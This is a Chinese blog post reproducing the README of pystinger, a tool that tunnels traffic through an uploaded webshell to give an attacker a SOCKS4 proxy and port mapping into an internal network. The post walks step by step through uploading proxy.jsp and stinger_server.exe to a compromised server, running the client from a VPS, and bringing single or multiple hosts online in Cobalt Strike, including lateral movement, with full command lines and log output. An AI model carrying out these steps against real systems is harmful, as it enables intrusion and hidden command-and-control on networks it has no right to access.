渗透工具pystinger：一款使用 webshell 进行流量转发的出网工具

已于 2022-05-09 11:52:50 修改
阅读量1.9k 收藏 2
点赞数 1
分类专栏： 渗透工具 文章标签： 系统安全 测试工具 安全 python
于 2022-05-09 11:52:40 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/phpppppppppp/article/details/124663056
版权

Git地址：pystinger/readme_cn.md at master ·滑稽狼/幽灵 (github.com)

pystinger

 

毒刺（pystinger）通过webshell实现内网SOCK4代理，端口映射.

可直接用于metasploit-framework，viper，cobalt strike上线.

主体使用python开发，当前支持php，jsp（x），aspx三种代理脚本.

使用方法

假设不出网服务器域名为 http://example.com:8080 ，服务器内网IP地址为192.168.3.11

袜子4代理

  • proxy.jsp上传到目标服务器，确保 http://example.com:8080/proxy.jsp 可以访问，页面返回UTF-8
  • 将stinger_server.exe上传到目标服务器，蚁剑/冰蝎执行启动服务端start D:/XXX/stinger_server.exe

不要直接运行D：/XXX/stinger_server.exe，会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
<span style="color:#cac5bd"><span style="background-color:#111417"><span style="background-color:rgba(219, 221, 222, 0.1) !important"><code>root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
</code></span></span></span>
  • 此时已经在vps启动了一个所在内网的socks4a代理127.0.0.1:60000example.com
  • 此时已经将目标服务器的映射到vps的127.0.0.1:60020127.0.0.1:60020

单主机上线

  • proxy.jsp上传到目标服务器，确保 http://example.com:8080/proxy.jsp 可以访问，页面返回UTF-8
  • 将stinger_server.exe上传到目标服务器，蚁剑/冰蝎执行启动服务端start D:/XXX/stinger_server.exe

不要直接运行D：/XXX/stinger_server.exe，会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
<span style="color:#cac5bd"><span style="background-color:#111417"><span style="background-color:rgba(219, 221, 222, 0.1) !important"><code>root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
</code></span></span></span>
  • cobalt strike添加监听，端口选择输出信息RAT Config中的Handler/LISTEN中的端口（通常为60020），beacons为127.0.0.1
  • 生成payload，上传到主机运行后即可上线

多主机上线

  • proxy.jsp上传到目标服务器，确保 http://example.com:8080/proxy.jsp 可以访问，页面返回UTF-8
  • 将stinger_server.exe上传到目标服务器，蚁剑/冰蝎执行启动服务端start D:/XXX/stinger_server.exe 192.168.3.11

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
<span style="color:#cac5bd"><span style="background-color:#111417"><span style="background-color:rgba(219, 221, 222, 0.1) !important"><code>root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
</code></span></span></span>
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头

--header "Authorization: XXXXXX,Cookie: XXXXX"

  • 如果webshell需要通过代理访问，可通过--proxy设置代理

--proxy "socks5:127.0.0.1:1081"

相关工具

GitHub - nccgroup/ABPTTS: TCP tunneling over HTTP/HTTPS for web application servers

GitHub - sensepost/reGeorg: The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

GitHub - SECFORCE/Tunna: Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments.

风过留不留声
关注
专栏目录
渗透系列：Webshell的介绍及工具的使用
01-14
渗透系列：Webshell的介绍及工具的使用
【工具使用】Pystinger(毒刺)的使用
做自己喜欢的事，并将其发挥到极致！
03-09 1441
文章目录Pystinger介绍项目地址Pystinger 原理图实现主机上线CS服务端配置客户端配置 Pystinger介绍 一款用于Webshell实现内网 socks4 代理、端口映射的工具，可直接用于CobaltStrike / Metasploit上线，该工具使用python语言编写，目前支持的语言有 php, jsp(x) 和 aspx 三种脚本语言。 项目地址 https://github.com/FunnyWolf/pystinger https://gitee.com/zhanghk66
pystinger (毒刺)正向代理工具
weixin_66717977的博客
03-21 1833
pystinger毒刺是一款正向代理工具，通过webshell可以实现内网 socks4代理和端口映射，并且也可以直接上线MSF和CS。
HTTP隐蔽隧道工具--pystinger流量特征检测分析
qq_36259703的博客
10-20 222
毒刺(pystinger)通过webshell实现可直接用于metasploit-framework,viper,cobalt strike上线.主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本.
探索 PyStinger：高效日志处理的利器
最新发布
gitblog_00097的博客
04-25 324
探索 PyStinger：高效日志处理的利器 pystingerBypass firewall for traffic forwarding using webshell 一款使用webshell进行流量转发的出网工具项目地址:https://gitcode.com/gh_mirrors/py/pystinger 是一个由 FunnyWolf 开发的 Python 库，专注于高速地处理和分析大规...
kingkong:解密哥斯拉webshell管理工具流量
04-16
解密哥斯拉Godzilla-V2.96 webshell管理工具流量 目前只支持jsp类型的webshell流量解密 Usage 获取攻击者上传到服务器的webshell样本 获取wireshark之类的流量包，一般甲方有科来之类的全流量镜像设备，联系运维人员...
JspMaster-Deprecated:一款基于webshell命令执行功能实现的GUI webshell管理工具，支持流量加密
05-13
与其他 Webshell 管理工具不同，由于一开始的想法是寻找其他命令执行的方式，所以 JspMaster 的底层逻辑是通过命令执行，而不是通过代码执行来实现的。这增强了工具的可扩展性，但同时也引入了一些困难，比如文件的...
第06篇：10款Webshell查杀工具1
08-03
Webshell查杀工具是网络安全领域中的重要组成部分，主要用于检测和清除服务器上可能存在的Webshell后门，这些后门通常...在网络安全维护中，定期使用这些工具进行检测并结合其他安全措施，可以有效提升服务器的安全性。
渗透测试攻防webshell大合集.zip
07-26
超千个实战webshell： 138shell antSword antSword-shells AntSwordProject asp aspx b4tm4n-toolz Backdoor Dev Shells webshellpub等等，太多了，不一一列举了，需要的下载使用。
Pystinger上线不出网机器
crowsec
10-20 477
微信公众号：乌鸦安全 扫取二维码获取更多信息！ 01 使用场景 毒刺（Pystinger）通过webshell搭建内网socks4代理，可用于上线CobaltStrike，此方法适用于目标主机不出网但存在web应用可被互联网访问的情况。 02拓扑结构 03使用方法 下载地址： https://github.com/FunnyWolf/pystinger 拿下第一层网络后，上传webshell到机器上。 访问 http://靶...
内网渗透中目标不出网的情况下使用pystinger进行上线Cobalt Strike
qq_43776040的博客
02-17 3311
内网渗透中目标不出网的情况下使用pystinger进行上线cobaltstrike简介上传服务端与代理文件 简介 By：猪儿虫 Github：https://github.com/black537 在内网渗透中我们常常遇到内网不出网的情况。今天推荐一款工具pystinger。这款工具是一个使用webshell进行流量转发出网的工具。它使用的是sock4代理，端口映射。可直接进行上线metasploit-framework、viper、cobalt strike。目前只支持PHP、jsp(x)、aspx三种
内网渗透-(端口复用和隧道建立)
qq_50643984的博客
03-15 3525
前言： 首先对于出网与不出网的区别很多人不理解，内网不出网到底是ping不通百度还是ping不通同一网段的机器。 其实大部分内网不出网都是ping不通百度，不能去外网，ping不通同一网段要不是配置错误，要不就是防火墙问题，还有就是不能ping通同一网段的机器上线价值不大，以下我们讨论的不出网都是不能ping通百度的。 对于有双网卡的机器，既可以出外网又和内网机器相同我们称这个机器为（DMZ区机器），也就是win7机器，一般也是我们的跳板机。 对于这种我们可以直接拿下dmz区域的机器，利用dmz机器跳板进
Pystinger的使用
谢公子的博客
08-30 2668
目录 Pystinger 实现多主机上线cs 目标主机执行 VPS执行 CS开启监听 生成木马 内网横向移动 Pystinger 一款利用webshell实现内网socks4代理、端口映射的工具，可直接用于MSF/CS等上线。使用python编写， 当前支持php,jsp(x),aspx三种代理脚本 。 项目地址： https://github.com/FunnyWolf/pystinger 原地介绍： https://mp.weixin.qq.com/s/45AKbRS677fxyn
Pystinger实现内网主机CS上线
痴人说梦梦中人
03-29 4764
Pystinger实现内网主机CS上线一、Pystinger简介二、原理分析三、操作演示 一、Pystinger简介         毒刺(pystinger)通过webshell实现内网SOCK4代理，端口映射。可直接用于metasploit-framework,viper,cobalt strike上线，主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本。 repo:https://github.c
python 服务器与主机简单通信
m18096602934的博客
12-16 423
这里写自定义目录标题主机客户端通信socket使用介绍发送端接收端 主机客户端通信socket 这是项目临时要求用笔记本展示结果，用python写了一个文件传输子程序，在这里保存一下，备用。 使用介绍 在使用这套程序之前需要准备以下工具： 多台电脑，一台发送端，n台接收端，可以运行python3的； 路由器一个(交换机不知道行不行，主要目的是把电脑加到局域网里)； 无线网卡或者网线，连接路由器或...
一款使用webshell进行流量转发的出网工具(pystinger)
lza20001103的博客
08-26 347
一款使用webshell进行流量转发的出网工具(pystinger) 下载地址：https://github.com/FunnyWolf/pystinger
冰蝎的安装和使用
weixin_51641247的博客
04-06 5751
相对于菜刀和蚁剑，冰蝎的特点是动态二进制加密实现新型一句话木马，它的数据是加密传输的，右键空白处新增，输入webshell信息，若使用冰蝎自带的webshell则默认密码为rebeyond冰蝎提供asp、c#、php、Java的自定义代码执行功能，文本框支持语法高亮，c#和Java会把输入的源代码自动编译并执行。
ajax请求跨域设置代理_ASP.NET代理页面–用于来自AJAX和JavaScript的跨域请求
cunchi8090的博客
07-17 231
ajax请求跨域设置代理 One of the pain points with developing AJAX, JavaScript, JQuery, and other client-side behaviors is that JavaScript doesn’t allow for cross domain request for pulling ...
最全35款渗透测试工具大盘点
Acunetix WVS 是一款专为Windows用户设计的渗透测试工具，可检测SQL注入、跨站脚本（XSS）、证书链注入、代码执行、目录遍历、文件包含以及文件上传表单中的漏洞等。这款工具可以从官方渠道下载，为用户提供了全面...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

风过留不留声

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值